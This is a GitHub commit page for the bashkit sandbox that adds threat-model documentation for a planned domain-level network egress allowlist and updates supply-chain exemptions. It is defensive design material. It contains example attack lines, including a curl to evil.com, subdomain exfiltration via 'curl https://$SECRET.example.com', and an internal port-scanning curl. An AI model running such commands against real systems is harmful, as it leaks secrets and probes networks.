Skip to content

Commit 6b0ec4f

Browse files
chaliyclaude
andauthored
chore(specs): add domain egress allowlist threat model (#199)
## Summary - Add threat entries TM-NET-015, TM-NET-016, TM-NET-017 for planned domain-level egress allowlisting - Add section 5.6 to spec with SNI-based filtering design rationale - Update public threat-model docs with `allow_domain()` usage and trade-offs ## Test plan - [ ] Docs-only change — no code, no tests needed - [ ] `cargo doc` builds without warnings --------- Co-authored-by: Claude <noreply@anthropic.com>
1 parent a4f4f6f commit 6b0ec4f

3 files changed

Lines changed: 89 additions & 2 deletions

File tree

crates/bashkit/docs/threat-model.md

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -162,6 +162,33 @@ let bash = Bash::builder()
162162
// curl https://evil.com → blocked (exit 7)
163163
```
164164

165+
**Domain Allowlist (TM-NET-015, TM-NET-016):**
166+
167+
For simpler domain-level control, `allow_domain()` permits all traffic to a domain
168+
regardless of scheme, port, or path. This is the virtual equivalent of SNI-based
169+
egress filtering — the same approach used by production sandbox environments.
170+
171+
```rust,ignore
172+
use bashkit::{Bash, NetworkAllowlist};
173+
174+
// Domain-level: any scheme, port, or path to these hosts
175+
let allowlist = NetworkAllowlist::new()
176+
.allow_domain("api.example.com")
177+
.allow_domain("cdn.example.com");
178+
179+
// Both of these are allowed:
180+
// curl https://api.example.com/v1/data
181+
// curl http://api.example.com:8080/health
182+
```
183+
184+
Trade-off: domain rules intentionally skip scheme and port enforcement. Use URL
185+
patterns (`allow()`) when you need tighter control. Both can be combined.
186+
187+
**No Wildcard Subdomains (TM-NET-017):**
188+
189+
Wildcard patterns like `*.example.com` are not supported. They would enable data
190+
exfiltration by encoding secrets in subdomains (`curl https://$SECRET.example.com`).
191+
165192
### Injection Attacks (TM-INJ-*)
166193

167194
| Threat | Attack Example | Mitigation |

specs/006-threat-model.md

Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -428,6 +428,9 @@ allowlist.allow("https://api.example.com");
428428
| TM-NET-005 | Port scanning | `curl http://internal:$port` | Port must match allowlist | **MITIGATED** |
429429
| TM-NET-006 | Protocol downgrade | HTTPS → HTTP | Scheme must match | **MITIGATED** |
430430
| TM-NET-007 | Subdomain bypass | `evil.example.com` | Exact host match | **MITIGATED** |
431+
| TM-NET-015 | Domain allowlist scheme bypass | `allow_domain()` permits both http and https | By design; use URL patterns for scheme control | **BY DESIGN** |
432+
| TM-NET-016 | Domain allowlist port bypass | `allow_domain()` permits any port | By design; use URL patterns for port control | **BY DESIGN** |
433+
| TM-NET-017 | Wildcard subdomain exfiltration | `curl https://$SECRET.example.com` | Wildcards not supported; exact domain match only | **MITIGATED** |
431434

432435
**Current Risk**: LOW - Strict allowlist enforcement
433436

@@ -546,6 +549,54 @@ Script: curl https://api.example.com/data
546549
- 47: Max redirects exceeded
547550
- 63: Response too large
548551

552+
#### 5.6 Domain Egress Allowlist Design Rationale
553+
554+
Bashkit's network allowlist uses **literal host matching** — the virtual equivalent of
555+
SNI (Server Name Indication) filtering on TLS client-hello headers. This is the same
556+
approach used by production sandbox environments (e.g., Vercel Sandbox) for egress
557+
control.
558+
559+
**Why not DNS-based filtering?**
560+
Scripts can hardcode IP addresses, bypassing any DNS-level controls entirely.
561+
562+
**Why not IP-based filtering?**
563+
A single IP address can host many domains (shared hosting, CDNs, cloud load balancers).
564+
Blocking/allowing by IP is too coarse-grained.
565+
566+
**Why not an HTTP proxy?**
567+
Proxies only work for HTTP traffic and require applications to be configured to use them
568+
(or respect `HTTP_PROXY` env vars). They don't cover other TLS-based protocols like
569+
database connections.
570+
571+
**Why literal host / SNI matching?**
572+
SNI filtering inspects the `server_name` extension in the TLS client-hello, which the
573+
client must send in cleartext before encryption begins. This works for all TLS traffic
574+
regardless of protocol. Since bashkit controls the HTTP layer and provides no raw socket
575+
access, literal host matching in the allowlist achieves equivalent coverage — every
576+
outbound connection goes through the `HttpClient`, which checks the hostname against the
577+
allowlist before any network I/O occurs.
578+
579+
**Domain allowlist vs URL patterns:**
580+
581+
The `allow_domain()` API provides a simpler interface when callers only need domain-level
582+
control:
583+
584+
| Capability | `allow_domain()` | `allow()` (URL pattern) |
585+
|------------|-------------------|-------------------------|
586+
| Scheme enforcement | No (any scheme) | Yes (exact match) |
587+
| Port enforcement | No (any port) | Yes (exact match) |
588+
| Path restriction | No (any path) | Yes (prefix match) |
589+
| Simplicity | High | Medium |
590+
591+
Callers requiring scheme or port enforcement should use URL patterns (`allow()`) instead
592+
of domain rules. Both rule types can be combined on the same allowlist; a URL is permitted
593+
if it matches **either** a domain rule or a URL pattern.
594+
595+
**Wildcard subdomains:**
596+
Wildcard patterns (e.g., `*.example.com`) are deliberately **not supported**. They enable
597+
data exfiltration by encoding secrets in subdomains: `curl https://$SECRET.example.com`.
598+
Only exact domain matches are allowed (TM-NET-017).
599+
549600
---
550601

551602
### 6. Multi-Tenant Isolation
@@ -834,6 +885,7 @@ This section maps former vulnerability IDs to the new threat ID scheme and track
834885
| Path normalization | TM-ESC-001, TM-INJ-005 | `fs/memory.rs` | Yes |
835886
| No symlink following | TM-ESC-002, TM-DOS-011 | `fs/memory.rs` | Yes |
836887
| Network allowlist | TM-INF-010, TM-NET-001 to TM-NET-007 | `network/allowlist.rs` | Yes |
888+
| Domain allowlist | TM-NET-015, TM-NET-016, TM-NET-017 | `network/allowlist.rs` | Planned |
837889
| Sandboxed eval/bash/sh, no exec | TM-ESC-005 to TM-ESC-008, TM-ESC-015, TM-INJ-003 | `interpreter/mod.rs` | Yes |
838890
| Fail-point testing | All controls | `security_failpoint_tests.rs` | Yes |
839891
| Builtin panic catching | TM-INT-001, TM-INT-002, TM-INT-006 | `interpreter/mod.rs` | Yes |

supply-chain/config.toml

Lines changed: 10 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -106,6 +106,10 @@ criteria = "safe-to-deploy"
106106
version = "0.37.0"
107107
criteria = "safe-to-deploy"
108108

109+
[[exemptions.aws-lc-sys]]
110+
version = "0.37.1"
111+
criteria = "safe-to-deploy"
112+
109113
[[exemptions.base64]]
110114
version = "0.22.1"
111115
criteria = "safe-to-deploy"
@@ -195,15 +199,15 @@ version = "4.5.57"
195199
criteria = "safe-to-deploy"
196200

197201
[[exemptions.clap]]
198-
version = "4.5.57"
202+
version = "4.5.58"
199203
criteria = "safe-to-deploy"
200204

201205
[[exemptions.clap_builder]]
202206
version = "4.5.57"
203207
criteria = "safe-to-deploy"
204208

205209
[[exemptions.clap_builder]]
206-
version = "4.5.57"
210+
version = "4.5.58"
207211
criteria = "safe-to-deploy"
208212

209213
[[exemptions.clap_derive]]
@@ -214,6 +218,10 @@ criteria = "safe-to-deploy"
214218
version = "0.7.7"
215219
criteria = "safe-to-deploy"
216220

221+
[[exemptions.clap_lex]]
222+
version = "1.0.0"
223+
criteria = "safe-to-deploy"
224+
217225
[[exemptions.cmake]]
218226
version = "0.1.57"
219227
criteria = "safe-to-deploy"

0 commit comments

Comments
 (0)